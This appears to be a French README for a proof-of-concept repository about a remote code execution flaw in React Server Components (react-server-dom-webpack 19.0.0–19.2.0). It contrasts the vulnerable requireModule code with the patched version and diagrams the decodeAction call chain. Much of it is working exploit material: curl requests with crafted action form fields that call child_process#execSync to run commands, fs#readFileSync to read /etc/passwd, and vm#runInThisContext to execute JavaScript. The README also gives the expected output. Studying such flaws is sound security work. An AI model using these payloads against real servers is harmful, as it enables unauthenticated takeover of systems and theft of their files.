
un POC réaliste démontrant la vérification `hasOwnProperty` manquante dans [email protected]
Une preuve de concept minimale démontrant la vulnérabilité critique d'exécution de code à distance dans [email protected].
Une vulnérabilité RCE sans authentification dans les composants serveur React qui permet aux attaquants d'exécuter du code arbitraire sur les serveurs utilisant le package vulnérable react-server-dom-webpack (versions 19.0.0 - 19.2.0).
Score CVSS : 10 (Critique)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty manquanteLa vulnérabilité se trouve dans la fonction requireModule de l'implémentation du protocole Flight de React. Cette fonction charge les exports de modules en fonction des métadonnées reçues des requêtes client.
Code vulnérable ([email protected]) :
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- Aucune validation !
}
Le problème : metadata[NAME] provient de l'entrée utilisateur (la requête HTTP). Un attaquant peut spécifier n'importe quel module et nom d'export, comme child_process#execSync.
Code corrigé ([email protected]+) :
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// CORRIGÉ : Vérifie que l'export existe réellement
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
Le correctif ajoute hasOwnProperty.call() pour s'assurer que l'export demandé est une propriété propre du module, non héritée de la chaîne de prototypes ou résolvable dynamiquement vers des modules dangereux.
$ACTION_REF_0 et $ACTION_0:0$ACTION_0:0 contient {"id":"child_process#execSync","bound":["whoami"]}decodeAction analyse cela et appelle requireModule avec des métadonnées contrôlées par l'attaquantrequireModule retourne require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# démarre sur http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Sortie attendue :
{"success":true,"result":"your-username\n"}
# Lire des fichiers
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Exécuter du JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeActionHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Analyse $ACTION_REF_0 pour trouver la référence d'action │
│ - Analyse $ACTION_0:0 pour obtenir {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (contrôlé par l'attaquant) │
│ - bound = ["whoami"] (contrôlé par l'attaquant) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Divise "child_process#execSync" en : │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNÉRABLE] │
│ - Charge require("child_process") │
│ - Retourne moduleExports["execSync"] │
│ - AUCUNE VALIDATION que "execSync" devrait être accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXÉCUTE "whoami" SUR LE SERVEUR │
└─────────────────────────────────────────────────────────────┘
MIT